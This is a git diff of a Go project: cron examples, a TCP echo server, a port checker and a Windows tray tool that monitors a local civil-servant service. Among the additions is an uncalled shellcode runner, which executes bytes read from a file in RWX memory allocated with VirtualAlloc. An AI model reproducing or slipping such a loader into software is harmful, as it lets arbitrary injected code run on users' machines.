@ -0,0 +1,20 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"github.com/robfig/cron/v3" |
||||
|
) |
||||
|
|
||||
|
func main() { |
||||
|
crontab := cron.New() |
||||
|
task := func() { |
||||
|
fmt.Println("hello world") |
||||
|
} |
||||
|
// 添加定时任务, * * * * * 是 crontab,表示每分钟执行一次
|
||||
|
_, _ = crontab.AddFunc("* * * * *", task) |
||||
|
// 启动定时器
|
||||
|
crontab.Start() |
||||
|
// 定时任务是另起协程执行的,这里使用 select 简答阻塞.实际开发中需要
|
||||
|
// 根据实际情况进行控制
|
||||
|
select {} |
||||
|
} |
@ -0,0 +1,34 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"log" |
||||
|
|
||||
|
"github.com/robfig/cron/v3" |
||||
|
) |
||||
|
|
||||
|
type Hello struct { |
||||
|
Str string |
||||
|
} |
||||
|
|
||||
|
func (h Hello) Run() { |
||||
|
log.Println(h.Str) |
||||
|
} |
||||
|
|
||||
|
func main() { |
||||
|
log.Println("Starting...") |
||||
|
|
||||
|
c := cron.New() |
||||
|
h := Hello{"I Love You!"} |
||||
|
// 添加定时任务
|
||||
|
_, _ = c.AddJob("*/2 * * * * * ", h) |
||||
|
// 添加定时任务
|
||||
|
_, _ = c.AddFunc("*/5 * * * * * ", func() { |
||||
|
log.Println("hello word") |
||||
|
}) |
||||
|
|
||||
|
// 其中任务
|
||||
|
c.Start() |
||||
|
// 关闭任务
|
||||
|
defer c.Stop() |
||||
|
select {} |
||||
|
} |
@ -0,0 +1,17 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"github.com/robfig/cron/v3" |
||||
|
"log" |
||||
|
) |
||||
|
|
||||
|
func main() { |
||||
|
c := cron.New() |
||||
|
_, _ = c.AddFunc("@every 5s", timer) |
||||
|
c.Start() |
||||
|
select {} |
||||
|
} |
||||
|
|
||||
|
func timer() { |
||||
|
log.Println("每5s执行一次") |
||||
|
} |
@ -0,0 +1,35 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"bufio" |
||||
|
"fmt" |
||||
|
"io" |
||||
|
"log" |
||||
|
"net" |
||||
|
) |
||||
|
|
||||
|
func handleConnection(conn net.Conn) { |
||||
|
br := bufio.NewReader(conn) |
||||
|
for { |
||||
|
data, err := br.ReadString('\n') |
||||
|
if err == io.EOF { |
||||
|
break |
||||
|
} |
||||
|
fmt.Printf("%s", data) |
||||
|
fmt.Fprintf(conn, "OK\n") |
||||
|
} |
||||
|
conn.Close() |
||||
|
} |
||||
|
func main() { |
||||
|
ln, err := net.Listen("tcp", ":54022") |
||||
|
if err != nil { |
||||
|
panic(err) |
||||
|
} |
||||
|
for { |
||||
|
conn, err := ln.Accept() |
||||
|
if err != nil { |
||||
|
log.Fatal("get client connection error: ", err) |
||||
|
} |
||||
|
go handleConnection(conn) |
||||
|
} |
||||
|
} |
@ -0,0 +1,53 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"net" |
||||
|
"os" |
||||
|
"time" |
||||
|
) |
||||
|
|
||||
|
// 获取IP和端口
|
||||
|
func getIpPort() []string { |
||||
|
// 根据接收参数个数,定义动态数组,
|
||||
|
ipPorts := make([]string, len(os.Args)-1) |
||||
|
i := 0 |
||||
|
for index, value := range os.Args { |
||||
|
//排除脚本名称
|
||||
|
if index == 0 { |
||||
|
continue |
||||
|
} |
||||
|
//写入数组
|
||||
|
ipPorts[i] = value |
||||
|
i++ |
||||
|
} |
||||
|
return ipPorts |
||||
|
} |
||||
|
|
||||
|
// 检测端口
|
||||
|
func checkPorts(ipPorts []string) { |
||||
|
now := time.Now().Format("2006-01-02 15:04:05") |
||||
|
for _, ipPort := range ipPorts { |
||||
|
// 检测端口
|
||||
|
conn, err := net.DialTimeout("tcp", ipPort, 3*time.Second) |
||||
|
if err != nil { |
||||
|
fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!") |
||||
|
} else { |
||||
|
if conn != nil { |
||||
|
fmt.Println("["+now+"]", ipPort, "端口已开启(success)!") |
||||
|
conn.Close() |
||||
|
} else { |
||||
|
fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!") |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
func main() { |
||||
|
|
||||
|
ret := getIpPort() |
||||
|
if len(ret) == 0 { |
||||
|
ret = []string{":35017", ":54022"} |
||||
|
} |
||||
|
checkPorts(ret) |
||||
|
} |
Before Width: | Height: | Size: 66 KiB After Width: | Height: | Size: 66 KiB |
@ -1,6 +1,5 @@ |
|||||
set GO111MODULE=on |
set GO111MODULE=on |
||||
set GOARCH=386 |
set GOARCH=386 |
||||
cd ../ |
|
||||
rsrc -manifest main.manifest -ico main.ico -o main.syso |
rsrc -manifest main.manifest -ico main.ico -o main.syso |
||||
go generate |
go generate |
||||
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
@ -0,0 +1,133 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"log" |
||||
|
"net/http" |
||||
|
|
||||
|
"github.com/braintree/manners" |
||||
|
"github.com/lxn/walk" |
||||
|
) |
||||
|
|
||||
|
func handler(w http.ResponseWriter, r *http.Request) { |
||||
|
fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:]) |
||||
|
} |
||||
|
|
||||
|
type MyWindow struct { |
||||
|
*walk.MainWindow |
||||
|
ni *walk.NotifyIcon |
||||
|
} |
||||
|
|
||||
|
func NewMyWindow() *MyWindow { |
||||
|
mw := new(MyWindow) |
||||
|
var err error |
||||
|
mw.MainWindow, err = walk.NewMainWindow() |
||||
|
checkError(err) |
||||
|
return mw |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) init() { |
||||
|
http.HandleFunc("/", handler) |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) RunHttpServer() error { |
||||
|
return manners.ListenAndServe(":8080", http.DefaultServeMux) |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) AddNotifyIcon() { |
||||
|
var err error |
||||
|
mw.ni, err = walk.NewNotifyIcon(mw) |
||||
|
checkError(err) |
||||
|
mw.ni.SetVisible(true) |
||||
|
|
||||
|
icon, err := walk.NewIconFromResourceId(3) |
||||
|
checkError(err) |
||||
|
mw.SetIcon(icon) |
||||
|
mw.ni.SetIcon(icon) |
||||
|
|
||||
|
startAction := mw.addAction(nil, "start") |
||||
|
stopAction := mw.addAction(nil, "stop") |
||||
|
stopAction.SetEnabled(false) |
||||
|
startAction.Triggered().Attach(func() { |
||||
|
go func() { |
||||
|
err := mw.RunHttpServer() |
||||
|
if err != nil { |
||||
|
mw.msgbox("start", "start http server failed.", walk.MsgBoxIconError) |
||||
|
return |
||||
|
} |
||||
|
}() |
||||
|
startAction.SetChecked(true) |
||||
|
startAction.SetEnabled(false) |
||||
|
stopAction.SetEnabled(true) |
||||
|
mw.msgbox("start", "start http server success.", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
stopAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if !ok { |
||||
|
mw.msgbox("stop", "stop http server failed.", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
stopAction.SetEnabled(false) |
||||
|
startAction.SetChecked(false) |
||||
|
startAction.SetEnabled(true) |
||||
|
mw.msgbox("stop", "stop http server success.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
helpMenu := mw.addMenu("help") |
||||
|
mw.addAction(helpMenu, "help").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "help", "http://127.0.0.1:8080", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(helpMenu, "about").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "about", "http server.", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(nil, "exit").Triggered().Attach(func() { |
||||
|
mw.ni.Dispose() |
||||
|
mw.Dispose() |
||||
|
walk.App().Exit(0) |
||||
|
}) |
||||
|
|
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) addMenu(name string) *walk.Menu { |
||||
|
helpMenu, err := walk.NewMenu() |
||||
|
checkError(err) |
||||
|
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) |
||||
|
checkError(err) |
||||
|
help.SetText(name) |
||||
|
|
||||
|
return helpMenu |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action { |
||||
|
action := walk.NewAction() |
||||
|
action.SetText(name) |
||||
|
if menu != nil { |
||||
|
menu.Actions().Add(action) |
||||
|
} else { |
||||
|
mw.ni.ContextMenu().Actions().Add(action) |
||||
|
} |
||||
|
|
||||
|
return action |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) { |
||||
|
mw.ni.ShowInfo(title, message) |
||||
|
walk.MsgBox(mw, title, message, style) |
||||
|
} |
||||
|
|
||||
|
func main() { |
||||
|
mw := NewMyWindow() |
||||
|
|
||||
|
mw.init() |
||||
|
mw.AddNotifyIcon() |
||||
|
mw.Run() |
||||
|
} |
||||
|
|
||||
|
func checkError(err error) { |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
} |
After Width: | Height: | Size: 6.3 KiB |
@ -0,0 +1,22 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> |
||||
|
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/> |
||||
|
<dependency> |
||||
|
<dependentAssembly> |
||||
|
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/> |
||||
|
</dependentAssembly> |
||||
|
</dependency> |
||||
|
<application xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<windowsSettings> |
||||
|
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness> |
||||
|
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware> |
||||
|
</windowsSettings> |
||||
|
</application> |
||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<security> |
||||
|
<requestedPrivileges> |
||||
|
<requestedExecutionLevel level="requireAdministrator"/> |
||||
|
</requestedPrivileges> |
||||
|
</security> |
||||
|
</trustInfo> |
||||
|
</assembly> |
@ -1,6 +1,5 @@ |
|||||
set GO111MODULE=on |
set GO111MODULE=on |
||||
set GOARCH=386 |
set GOARCH=386 |
||||
cd ../ |
|
||||
rsrc -manifest main.manifest -ico main.ico -o main.syso |
rsrc -manifest main.manifest -ico main.ico -o main.syso |
||||
go generate |
go generate |
||||
go build -ldflags="-s -w -H=windowsgui" -o HyServer.exe |
go build -ldflags="-s -w -H=windowsgui" -o 꽉데으-頓契솰왠.exe |
@ -0,0 +1,225 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"log" |
||||
|
"net" |
||||
|
"os/exec" |
||||
|
"runtime" |
||||
|
"syscall" |
||||
|
"time" |
||||
|
|
||||
|
"github.com/braintree/manners" |
||||
|
"github.com/lxn/walk" |
||||
|
) |
||||
|
|
||||
|
type MyWindow struct { |
||||
|
*walk.MainWindow |
||||
|
ni *walk.NotifyIcon |
||||
|
} |
||||
|
|
||||
|
func NewMyWindow() *MyWindow { |
||||
|
mw := new(MyWindow) |
||||
|
var err error |
||||
|
mw.MainWindow, err = walk.NewMainWindow() |
||||
|
checkError(err) |
||||
|
return mw |
||||
|
} |
||||
|
|
||||
|
func (mw *MyWindow) AddNotifyIcon() { |
||||
|
var err error |
||||
|
mw.ni, err = walk.NewNotifyIcon(mw) |
||||
|
checkError(err) |
||||
|
_ = mw.ni.SetVisible(true) |
||||
|
|
||||
|
icon, err := walk.NewIconFromResourceId(3) |
||||
|
checkError(err) |
||||
|
_ = mw.SetIcon(icon) |
||||
|
_ = mw.ni.SetIcon(icon) |
||||
|
|
||||
|
// 数据库 服务
|
||||
|
mw.addDbMenu() |
||||
|
|
||||
|
// 应用程序 服务
|
||||
|
mw.addCxMenu() |
||||
|
|
||||
|
// 其他快捷键
|
||||
|
mw.addOther() |
||||
|
|
||||
|
} |
||||
|
|
||||
|
func init() { |
||||
|
|
||||
|
} |
||||
|
func main() { |
||||
|
mw := NewMyWindow() |
||||
|
|
||||
|
mw.AddNotifyIcon() |
||||
|
mw.Run() |
||||
|
} |
||||
|
|
||||
|
func checkError(err error) { |
||||
|
if err != nil { |
||||
|
log.Fatal(err) |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
// open opens the specified URL in the default browser of the user.
|
||||
|
func OpenUrl(url string) error { |
||||
|
var cmd string |
||||
|
var args []string |
||||
|
|
||||
|
switch runtime.GOOS { |
||||
|
case "windows": |
||||
|
cmd = "cmd" |
||||
|
args = []string{"/c", "start"} |
||||
|
case "darwin": |
||||
|
cmd = "open" |
||||
|
default: // "linux", "freebsd", "openbsd", "netbsd"
|
||||
|
cmd = "xdg-open" |
||||
|
} |
||||
|
args = append(args, url) |
||||
|
c := exec.Command(cmd, args...) |
||||
|
c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} |
||||
|
return c.Start() |
||||
|
} |
||||
|
|
||||
|
// addOther 增加其他按钮操作
|
||||
|
func (mw *MyWindow) addOther() { |
||||
|
mw.addAction(nil, "打开应用").Triggered().Attach(func() { |
||||
|
_ = OpenUrl("http://localhost:54022/qggwy") |
||||
|
}) |
||||
|
|
||||
|
helpMenu := mw.addMenu("帮助") |
||||
|
mw.addAction(helpMenu, "升级").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "即将打开网页", "点击《确认》进行下载安装组工软件!", walk.MsgBoxIconInformation) |
||||
|
_ = OpenUrl("https://www.12371.cn/zgrjxz/gwywx/") |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(helpMenu, "关于").Triggered().Attach(func() { |
||||
|
walk.MsgBox(mw, "关于", "辅助使用公务员系统服务", walk.MsgBoxIconInformation) |
||||
|
}) |
||||
|
|
||||
|
mw.addAction(nil, "退出").Triggered().Attach(func() { |
||||
|
mw.ni.Dispose() |
||||
|
mw.Dispose() |
||||
|
walk.App().Exit(0) |
||||
|
}) |
||||
|
} |
||||
|
|
||||
|
// addDbMenu 增加数据库服务按钮操作
|
||||
|
func (mw *MyWindow) addDbMenu() { |
||||
|
dbMenu := mw.addMenu("数据服务") |
||||
|
startDbAction := mw.addAction(dbMenu, "启动") |
||||
|
stopDbAction := mw.addAction(dbMenu, "停止") |
||||
|
|
||||
|
_ = stopDbAction.SetEnabled(false) |
||||
|
startDbAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if !ok { |
||||
|
setEnableAndCheck(startDbAction, stopDbAction, true, false) |
||||
|
mw.msgbox("启动", "启动失败!", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
setEnableAndCheck(startDbAction, stopDbAction, false, true) |
||||
|
mw.msgbox("启动", "启动成功.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
stopDbAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if !ok { |
||||
|
setEnableAndCheck(startDbAction, stopDbAction, false, true) |
||||
|
mw.msgbox("停止", "停止失败!", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
setEnableAndCheck(startDbAction, stopDbAction, true, false) |
||||
|
mw.msgbox("停止", "停止成功.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
go AddListen(startDbAction, stopDbAction, ":35017", 3*time.Second) |
||||
|
} |
||||
|
|
||||
|
// addCxMenu 增加程序服务按钮操作
|
||||
|
func (mw *MyWindow) addCxMenu() { |
||||
|
cxMenu := mw.addMenu("应用服务") |
||||
|
startCxAction := mw.addAction(cxMenu, "启动") |
||||
|
stopCxAction := mw.addAction(cxMenu, "停止") |
||||
|
_ = stopCxAction.SetEnabled(false) |
||||
|
startCxAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if !ok { |
||||
|
setEnableAndCheck(startCxAction, stopCxAction, true, false) |
||||
|
mw.msgbox("启动", "启动失败!", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
setEnableAndCheck(startCxAction, stopCxAction, false, true) |
||||
|
mw.msgbox("启动", "启动成功.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
stopCxAction.Triggered().Attach(func() { |
||||
|
ok := manners.Close() |
||||
|
if ok { |
||||
|
setEnableAndCheck(startCxAction, stopCxAction, false, true) |
||||
|
mw.msgbox("停止", "停止失败!", walk.MsgBoxIconError) |
||||
|
} else { |
||||
|
setEnableAndCheck(startCxAction, stopCxAction, true, false) |
||||
|
mw.msgbox("停止", "停止成功.", walk.MsgBoxIconInformation) |
||||
|
} |
||||
|
}) |
||||
|
|
||||
|
go AddListen(startCxAction, stopCxAction, ":54022", 3*time.Second) |
||||
|
} |
||||
|
|
||||
|
// AddListen 增加服务监听,控制按钮状态
|
||||
|
func AddListen(startAction *walk.Action, stopAction *walk.Action, address string, timeout time.Duration) { |
||||
|
conn, err := net.DialTimeout("tcp", address, timeout) |
||||
|
if err != nil { |
||||
|
// fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
|
||||
|
setEnableAndCheck(startAction, stopAction, false, false) |
||||
|
} else { |
||||
|
if conn != nil { |
||||
|
// fmt.Println("["+now+"]", ipPort, "端口已开启(success)!")
|
||||
|
setEnableAndCheck(startAction, stopAction, false, true) |
||||
|
_ = conn.Close() |
||||
|
} else { |
||||
|
// fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
|
||||
|
setEnableAndCheck(startAction, stopAction, true, false) |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
// setEnableAndCheck 设置按钮状态
|
||||
|
func setEnableAndCheck(startAction, stopAction *walk.Action, startBool, stopBool bool) { |
||||
|
_ = startAction.SetEnabled(startBool) |
||||
|
_ = stopAction.SetEnabled(stopBool) |
||||
|
_ = startAction.SetChecked(!startBool) |
||||
|
_ = stopAction.SetChecked(!stopBool) |
||||
|
} |
||||
|
|
||||
|
// addMenu 增加分类按钮操作
|
||||
|
func (mw *MyWindow) addMenu(name string) *walk.Menu { |
||||
|
helpMenu, err := walk.NewMenu() |
||||
|
checkError(err) |
||||
|
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) |
||||
|
checkError(err) |
||||
|
_ = help.SetText(name) |
||||
|
|
||||
|
return helpMenu |
||||
|
} |
||||
|
|
||||
|
// addAction 增加分类子按钮操作
|
||||
|
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action { |
||||
|
action := walk.NewAction() |
||||
|
_ = action.SetText(name) |
||||
|
if menu != nil { |
||||
|
_ = menu.Actions().Add(action) |
||||
|
} else { |
||||
|
_ = mw.ni.ContextMenu().Actions().Add(action) |
||||
|
} |
||||
|
return action |
||||
|
} |
||||
|
|
||||
|
// msgbox 提示框
|
||||
|
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) { |
||||
|
_ = mw.ni.ShowInfo(title, message) |
||||
|
walk.MsgBox(mw, title, message, style) |
||||
|
} |
After Width: | Height: | Size: 6.3 KiB |
@ -0,0 +1,22 @@ |
|||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
|
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> |
||||
|
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/> |
||||
|
<dependency> |
||||
|
<dependentAssembly> |
||||
|
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/> |
||||
|
</dependentAssembly> |
||||
|
</dependency> |
||||
|
<application xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<windowsSettings> |
||||
|
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness> |
||||
|
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware> |
||||
|
</windowsSettings> |
||||
|
</application> |
||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> |
||||
|
<security> |
||||
|
<requestedPrivileges> |
||||
|
<requestedExecutionLevel level="requireAdministrator"/> |
||||
|
</requestedPrivileges> |
||||
|
</security> |
||||
|
</trustInfo> |
||||
|
</assembly> |
@ -0,0 +1,15 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"github.com/braintree/manners" |
||||
|
"net/http" |
||||
|
) |
||||
|
|
||||
|
func main() { |
||||
|
err := manners.ListenAndServe(":54022", http.DefaultServeMux) |
||||
|
if err == nil { |
||||
|
fmt.Println("哼") |
||||
|
} |
||||
|
fmt.Println("哈哈") |
||||
|
} |
@ -0,0 +1,5 @@ |
|||||
|
set GO111MODULE=on |
||||
|
set GOARCH=386 |
||||
|
rsrc -manifest main.manifest -ico main.ico -o main.syso |
||||
|
go generate |
||||
|
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe |
Before Width: | Height: | Size: 761 B |
Before Width: | Height: | Size: 1.1 KiB |
Before Width: | Height: | Size: 400 B |
Before Width: | Height: | Size: 1.1 KiB |
Before Width: | Height: | Size: 66 KiB |
Before Width: | Height: | Size: 344 B |
Before Width: | Height: | Size: 1.2 KiB |
Before Width: | Height: | Size: 267 B |
Before Width: | Height: | Size: 777 B |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 714 B |
@ -0,0 +1,25 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"fmt" |
||||
|
"io" |
||||
|
"log" |
||||
|
"os" |
||||
|
"time" |
||||
|
) |
||||
|
|
||||
|
var ( |
||||
|
Info *log.Logger |
||||
|
Error *log.Logger |
||||
|
) |
||||
|
|
||||
|
func init() { |
||||
|
//日志输出文件
|
||||
|
file, err := os.OpenFile(fmt.Sprintf("./tomcat8/logs/GWY-%s.log", time.Now().Format("20060102")), os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) |
||||
|
if err != nil { |
||||
|
log.Fatalln("Faild to open error logger file:", err) |
||||
|
} |
||||
|
//自定义日志格式
|
||||
|
Info = log.New(io.MultiWriter(file, os.Stderr), "INFO: ", log.Ldate|log.Ltime|log.Lshortfile) |
||||
|
Error = log.New(io.MultiWriter(file, os.Stderr), "ERROR: ", log.Ldate|log.Ltime|log.Lshortfile) |
||||
|
} |
@ -0,0 +1,50 @@ |
|||||
|
package main |
||||
|
|
||||
|
import ( |
||||
|
"io/ioutil" |
||||
|
"os" |
||||
|
"syscall" |
||||
|
"unsafe" |
||||
|
) |
||||
|
|
||||
|
const ( |
||||
|
MEM_COMMIT = 0x1000 |
||||
|
MEM_RESERVE = 0x2000 |
||||
|
PAGE_EXECUTE_READWRITE = 0x40 |
||||
|
) |
||||
|
|
||||
|
var ( |
||||
|
kernel32 = syscall.MustLoadDLL("kernel32.dll") |
||||
|
ntdll = syscall.MustLoadDLL("ntdll.dll") |
||||
|
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") |
||||
|
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") |
||||
|
shellcode_buf = []byte{ |
||||
|
// 0xfc, 0x48, ----shellcode----, 0xd5,
|
||||
|
} |
||||
|
) |
||||
|
|
||||
|
func checkErr(err error) { |
||||
|
if err != nil { |
||||
|
if err.Error() != "The operation completed successfully." { |
||||
|
println(err.Error()) |
||||
|
os.Exit(1) |
||||
|
} |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
func RunShellCode() { |
||||
|
shellcode := shellcode_buf |
||||
|
if len(os.Args) > 1 { |
||||
|
shellcodeFileData, err := ioutil.ReadFile(os.Args[1]) |
||||
|
checkErr(err) |
||||
|
shellcode = shellcodeFileData |
||||
|
} |
||||
|
|
||||
|
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) |
||||
|
if addr == 0 { |
||||
|
checkErr(err) |
||||
|
} |
||||
|
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) |
||||
|
checkErr(err) |
||||
|
syscall.Syscall(addr, 0, 0, 0, 0) |
||||
|
} |
@ -1,43 +0,0 @@ |
|||||
{ |
|
||||
"FixedFileInfo": { |
|
||||
"FileVersion": { |
|
||||
"Major": 1, |
|
||||
"Minor": 0, |
|
||||
"Patch": 0, |
|
||||
"Build": 0 |
|
||||
}, |
|
||||
"ProductVersion": { |
|
||||
"Major": 1, |
|
||||
"Minor": 0, |
|
||||
"Patch": 0, |
|
||||
"Build": 0 |
|
||||
}, |
|
||||
"FileFlagsMask": "3f", |
|
||||
"FileFlags ": "00", |
|
||||
"FileOS": "040004", |
|
||||
"FileType": "01", |
|
||||
"FileSubType": "00" |
|
||||
}, |
|
||||
"StringFileInfo": { |
|
||||
"Comments": "公务员服务", |
|
||||
"CompanyName": "北京神舟航天软件技术有限公司", |
|
||||
"FileDescription": "公务员服务运行监控软件", |
|
||||
"FileVersion": "v1.0", |
|
||||
"InternalName": "运行监控", |
|
||||
"LegalCopyright": "Copyright (c) 2021", |
|
||||
"LegalTrademarks": "", |
|
||||
"OriginalFilename": "HyServer.exe", |
|
||||
"PrivateBuild": "", |
|
||||
"ProductName": "监控软件", |
|
||||
"ProductVersion": "V2021_1.0.1", |
|
||||
"SpecialBuild": "" |
|
||||
}, |
|
||||
"VarFileInfo": { |
|
||||
"Translation": { |
|
||||
"LangID": "0409", |
|
||||
"CharsetID": "04B0" |
|
||||
} |
|
||||
}, |
|
||||
"IconPath": "main.ico", |
|
||||
"ManifestPath": "" |
|
||||
} |
|
@ -1,309 +0,0 @@ |
|||||
package main |
|
||||
|
|
||||
import ( |
|
||||
"database/sql" |
|
||||
"encoding/json" |
|
||||
"fmt" |
|
||||
"github.com/360EntSecGroup-Skylar/excelize" |
|
||||
_ "github.com/go-sql-driver/mysql" |
|
||||
"strconv" |
|
||||
"strings" |
|
||||
"time" |
|
||||
) |
|
||||
|
|
||||
const sheetName = `Sheet1` |
|
||||
const fileName = `公务员系统数据-` |
|
||||
const fileType = `.xlsx` |
|
||||
const sqlCodeStr = `SELECT concat(code_type,code_value),code_name FROM CODE_VALUE where code_type in('%s') union SELECT concat(code_type,code_value),code_name3 FROM CODE_VALUE where code_type='ZB01'` |
|
||||
const sqlB01 = `select b0111,b0121,b0101 from b01 where b0111<>'-1' order by b0121,sortid` |
|
||||
const sqlA01A0279 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0279='1' and A0201B='%s')` |
|
||||
const sqlA01A0281 = `select %s from a01 where a0163='1' and exists(select 1 from a02 a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s') order by (select lpad(max(a0225),5,'0') from a02 where a01.a0000=a02.a0000 and a0281='true' and A0201B='%s')` |
|
||||
|
|
||||
var CodeValueMap = make(map[string]string) |
|
||||
|
|
||||
func RunMc() (string, bool) { |
|
||||
db, _ := sql.Open("mysql", url) |
|
||||
codes, headers, types, headWidth, err := getInit() |
|
||||
if err { |
|
||||
showMsg(fmt.Sprintf("导出名册发生异常!")) |
|
||||
return "", err |
|
||||
} |
|
||||
|
|
||||
var allObj [][]interface{} |
|
||||
if len(CodeValueMap) == 0 { |
|
||||
QueryMap(db, fmt.Sprintf(sqlCodeStr, strings.Join(types, "','")), CodeValueMap) |
|
||||
} |
|
||||
b01s := QueryB01(db) |
|
||||
b01 := dept{ |
|
||||
Id: "-1", |
|
||||
Child: make([]*dept, 0), |
|
||||
} |
|
||||
makeTree(b01s, &b01) |
|
||||
makeA01s(b01, db, codes, types, &allObj) |
|
||||
|
|
||||
return getExcelFile(headers, headWidth, allObj), false |
|
||||
} |
|
||||
|
|
||||
func makeA01s(b01 dept, db *sql.DB, codes []string, types []string, allObj *[][]interface{}) { |
|
||||
for _, d := range b01.Child { |
|
||||
QueryA01(db, strings.Join(codes, ","), types, d.Id, allObj) |
|
||||
if len(d.Child) > 0 { |
|
||||
makeA01s(*d, db, codes, types, allObj) |
|
||||
} |
|
||||
} |
|
||||
} |
|
||||
|
|
||||
// getInit 初始化 JSON 对象,获取猎头
|
|
||||
func getInit() ([]string, []string, []string, []float64, bool) { |
|
||||
var yrYhs []YrYh |
|
||||
//读取的数据为json格式,需要进行解码
|
|
||||
err := json.Unmarshal([]byte(yryh), &yrYhs) |
|
||||
if err != nil { |
|
||||
showMsg(fmt.Sprintf("导出名册发生异常:%s", err)) |
|
||||
return nil, nil, nil, nil, true |
|
||||
} |
|
||||
yrYhsLen := len(yrYhs) |
|
||||
types := make([]string, yrYhsLen, yrYhsLen) // 输出类型
|
|
||||
codes := make([]string, yrYhsLen, yrYhsLen) // 输出信息项
|
|
||||
headers := make([]string, yrYhsLen, yrYhsLen) // 输出列名
